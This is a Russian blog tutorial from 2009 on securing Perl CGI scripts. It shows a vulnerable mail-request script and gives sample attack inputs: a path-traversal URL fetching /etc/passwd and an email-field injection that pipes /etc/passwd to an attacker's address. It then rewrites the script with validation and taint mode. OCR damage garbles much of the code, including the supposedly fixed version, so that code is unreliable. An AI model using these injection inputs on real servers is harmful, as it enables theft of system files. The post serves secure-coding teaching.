Личный блог Suvan`a.

Работая и играя с Linux... И что из этого иногда получается.

Безопасность CGI.

Рубрика: Безопасность -> Защита сервисов
Метки: |
Пятница, 31 июля 2009 г.
Просмотров: 7432
Подписаться на комментарии по RSS

     WEB-скриптинг.

     Непонятно, почему многие администраторы закрывают глаза на используемые на их сервере CGI-скрипты, при данном они часами могут настраивать остальные аспекты безопасности системы, даже не ведая, что творится у них «под носом». А ведь CGI-скприпты, особенно написанные третьими лицами (форумы, гостевые книги и т.д.), отображают большую угрозу безопасности для Web-сервера.

     Ранее было показано, как надо употреблять CGI-скрипт для выполнения команд с привилегиями Web-сервера. Но это далеко не весь вред, который могут причинить Web-скрипты. Поэтому Web-скриптингу можно уделить значительно больше внимания, чем обычно.

     Нужно убедиться, что выключен SSI и CGI, если в них нет потребности.

     Рекомендуется создать для SSI и CGI два каталога (один для SSI и один для CGI), доступ к которым будет контролироваться. Если пользователю нужен CGI-сценарий, он должен будет попросить поместить этот сценарий в каталог CGI. Тогда, перед записью сценария можно проверить его на фигурирование вредоносного кода.


     Безопасное CGI-программирование на PERL.

     CGI - это не язык программирования, а интерфейс, позволяющий запускать на удаленном сервере CGI-сценарии и возвращать пользователю результат их выполнения (вывод). Сами CGI-сценарии могут быть написаны практически на любом языке программирования - С, PHP, Perl, Java, TCL, Python и даже на встроенном языке Bash.

     Наиболее популярным для написания CGI-сценариев представляется язык Perl. К тому же Perl содержит функции для «безопасного программирования». Употребление этих функций будет описано на примере создания небольшого сценария, позволяющего посетителям Web-сайта запрашивать подробную информацию о продукте по электронной почте.

     Проект будет состоять из двух файлов - файла request.html и файла request.pl. Первый файл - это HTML-форма запроса. Она выводит форму, позволяющую ввести имя пользователя и его электронный адрес, и выбрать продукт, о котором он хотел бы получить подробную информацию.

     Второй файл - это собственно сам сценарий. Надо было бы объединить данные два файла в один - то есть написать сценарий так, чтобы он при запуске без параметров выводил форму запроса, но для упрощения кода сценария этого не будет сделано.

     Вот файл request.html:

<html> <body>

<form method=post action=request.pl>

Ваш e-mail: <input type=text name="email"xbr>

Ваше имя: <input type=text name="name"xbr>

Выберите продукт, о котором вы бы хотели получить больше

информации:

<select name=document>

<option value="dvd.txt">DVD-пpoигpывaтeль</option>

<option value="vcr.txt">VCR</option>

<option value="tv_widescreen.txt">Teлeвизop с широким 3KpaHOM</option>

<option уа1ие="1^_1г^зсгееп.Ъх(:">Телевизор с плоским экраном</ор1:1оп>

</select>

<br><br>

<input type=submit>

</form> </body> </html>

     Сценарий request.pl выглядит так:

#!/usr/bin/perl use CGI; $q = new CGI;

$sendmailpath = "/usr/lib/sendmail";

$name = $q->param("name"); $mail = $q->param("email"); $document = $q->param ("document");

open (IN, "> /var/www/html/docs/$document"); while (<IN>) { $content .= $_

}

close IN;

open(MAIL, "| $sendmailpath $email");

print MAIL "Reply: support\@example.com\n";

print MAIL "Subject: Информация о продукте\п";

print MAIL "\n";

print MAIL "Уважаемый $name! Вы запросили техническую

информацию об интересующем Вас продукте. Если у вас

будут дополнительные вопросы, пожалуйста, свяжитесь

с нами. \п\п"; print MAIL $content; close MAIL;

print "Content-type:text/html\n\n";

print "<htmlxbody>Cпасибо за внимание к нашей продукции.

Интересующая вас информация отправлена по указанному Вами

адресу";

     Как работает сценарий?. Он получает значения переменных name, email и document. Переменная document содержит имя файла, который можно открыть и отправить пользователю по указанному e-mail.

     С виду - обычный сценарий, ничего опасного в нем нет. Но данный сценарий позволят хакеру получить какой угодно файл. Это очень легко реализовать. Нужно изменить метод формы с POST на GET, загрузить форму вторично, выбрать товар, к примеру VCR, и нажать кнопку Submit. Обратите внимание на строку адреса в браузере:

http://www.test.com/cgi-bin/request.pl?name=text&email=xak@crack.gov&document=vcr.txt

     Хакер может указать в качестве значения переменной document какой угодно файл в системе. Чтобы выйти за пределы каталога /var/www/ html/, ему надо просто применять синтаксис ../. К примеру, чтобы получить файл /etc/passwd на свой ящик, ему можно ввести следующую строку в поле адреса его браузера:

http://www.test.com/cgi-bin/request.pl?name=text&email=xak@crack.gov&document=../../••/../etc/passwd

     Чтобы избежать подобного, надо изменить сценарий. Существует несколько методов, пригодных для применения в конкретном случае:

  • Употреблять регулярные выражения, чтобы проверить, содержит ли адрес последовательность ../. Если да, то вывести сообщение об ошибке и завершить работу сценария. Такой способ требует знания регулярных выражений.
  • Проверять расширения файла: если оно не содержит .txt, то вывести сообщение об ошибке и завершить работу сценария.
  • А надо просто жестко привязать сценарий к этим четырем файлам - самый простой способ, но сложнее для такого сценария и не надо, поэтому перепишем сценарий так:

#!/usr/bin/perl

use CGI;

$q = new CGI;

$sendmailpath = "/usr/lib/sendmail";

$name = $q->param("name") ; $mail = $q->param("email"); $document = $q->param("document");

if ($document eq Mvd'.txt) {

$filename=' dvd. txt' } elseif ($document eq Vcr'.txt) {

$filename='vcr. txt' } elseif ($document eq vtv_widescreen.txt) (

$filename=' tv_widescreen.txt * ) else {

$filename=' tv_flatscreen.txt ' }

open (IN, "> /var/www/html/docs/$filename);

     Теперь крекер не сможет получить доступ к любому файлу. Но это еще не все. В сценарии есть еще одна «дыра» в строке:

open(MAIL, "I $sendmailpath $email");

     Эта дыра демонстрирует всю опасность запуска внешних команд из CGI-сценария. В этом случае Perl запускает команду sendmail и передает ей переменную $email в качестве аргумента. Однако выполнение реализовывается через командную оболочку, следовательно, хакер может указать любую команду и она будет выполнена системой.

     К примеру, если он вместо email передаст следующую строку ; cat /etc/passwd sendmail xak@test.com, то будет выполнена следующая последовательность действий:

sendmail

cat /etc/passwd | sendmail xak@test.com

     В результате выполнения последней команды содержимое /etc/passwd будет отправлено на e-mail крекера.

     Чтобы не допустить подобного, можно произвести проверку введенного пользователем e-mail на корректность. E-mail не должен содержать слэшей, точек с запятой, символа потока () и т.д. Адрес должен состоять из цифр, букв, символа @ и точек. Для проверки корректности e-mail нужно употреблять следующий код:

if ($email =~ /A[\w.@]/) { "если email содержит любой символ

# который не \w (буква-цифра) . или @, то

print "Content-type: text/html\n\n";

print "<html><body>Baui e-mail не корректен. Нажмите кнопку

Назад и проверьте aflpec</body></html>"

exit

}

     Уже хорошо - хакер не может употреблять переменную $email для выполнения вредоносных и опасных команд. Однако и это еще не все.

     В руководстве по sendmail сказано, что при употреблении опции -t sendmail не будет считать параметры командной строки адресом e-mail. Для большей безопасности изменим сценарий следующим образом:

open (MAIL, "I $sendmailpath -t");

print MAIL "To: $email\n";

print MAIL "Reply: support\@example.com\n";

print MAIL "Subject: Информация о продукте\п";

print MAIL "\n";

print MAIL "Уважаемый $name! Вы запросили техническую информацию об интересующем Вас продукте. Если у вас будут дополнительные вопросы, пожалуйста, свяжитесь с нами. \п\п";

print MAIL $content;

close MAIL;

     Теперь переменная $email не применяется в качестве аргумента программы sendmail, что еще больше добавит забот хакеру.

     Однако еще не рассмотрена переменная $name. Ее сценарий использует просто для вывода в текст письма, поэтому она не олицетворяет никакого риска. Сценарий в полной мере защищен. Чтобы лишний раз перестраховаться, можно добавить регулярное выражение, проверяющее, чтобы имя пользователя содержало только английские буквы и пробелы.

     Рассмотрим полную версию защищенного сценария: 

# ! /usr/bin/perl

use CGI;

$q = new CGI;

$sendmailpath = "/usr/lib/sendmail";

$name = $q->param("name") ; $mail = $q->param("email") ; $document = $q->param("document");

if ($document eq Ndvd'.txt) {

$filename=' dvd. txt' } elseif ($document eq 'vcr'.txt) {

$filename=' vcr. txt' } elseif ($document eq 4v_widescreen.txt) {

$filename=' tv_widescreen.txt ' } else {

$filename=' tv_flatscreen.txt ' } if ($email =~ /A[\w.@]/) { "если email содержит любой символ

# который не \w (буква-цифра) . или @, то print "Content-

type: text/html\n\n";

print "<html><body>Baui e-mail не корректен. Нажмите кнопку

Назад и проверьте

aflpec</body></html>"

exit

}

if ($name =~/л[a-zA-Z.]/) {

print "Content-type: text/html\n\n";

print "<html><body>HMH должно содержать только буквы и пpoбeлы</body></html>"; exit }

open (MAIL, "| $sendmailpath -t"); print MAIL "To: $email\n";

print MAIL "Reply: support\@example.com\n"; print MAIL "Subject: Информация о продукте\г." ; print MAIL "\n";

print MAIL "Уважаемый $name! Вы запросили техническую информацию об интересующем Вас продукте. Если у вас будут дополнительные вопросы, пожалуйста, свяжитесь с нами. \п\п"; print MAIL $content; close MAIL;

     Проверка введенных пользователем данных может стать настоящей основной болью. Обратите внимание: сколько усилий было потрачено на защиту порядком небольшого сценария. Представте, сколько времени надо, чтобы обезопасить большие сценарии, к примеру сценарии форумов или чатов?

     Чтобы хоть как-то помочь, Perl предоставляет собственный механизм - инфекционный режим (taint mode). В данном режиме Perl обрабатывает все внешние данные (переменные окружения, параметры командной строки, CGI-ввод) и отказывается воплощать какие-либо потенциально опасные действия. Потенциально опасными являются операции записи файлов exec (), system () и любое прочее действие, которое может повлиять на внешний файл или процесс.

     У инфекционных переменных есть одно интересное свойство: они «заражают» переменные, находящиеся вокруг них. В следующем примере инфекционной представляется переменная $fullname, так как ее ввел пользователь, но она «заражает» тоже переменные $firstname и $ surname, которые используются наряду с ней:

$fullname = $q->param ($fullname) ;($firstname, $surname) = spilt (/ /,$fullname)

     «Очистить» переменные нужно с помощью употребления к ним регулярных выражений: Perl считает, что регулярные выражения достаточно устойчивые, следовательно, данные, пропущенные через регулярные выражения, являются безопасными.

Для включения инфекционного режима применяется опция -Т

(#!/usr/bin/perl -T).

Оставьте комментарий!

Не регистрировать/аноним

Используйте нормальные имена.

Если вы уже зарегистрированы как комментатор или хотите зарегистрироваться, укажите пароль и свой действующий email.
(При регистрации на указанный адрес придет письмо с кодом активации и ссылкой на ваш персональный аккаунт, где вы сможете изменить свои данные, включая адрес сайта, ник, описание, контакты и т.д.)



(обязательно)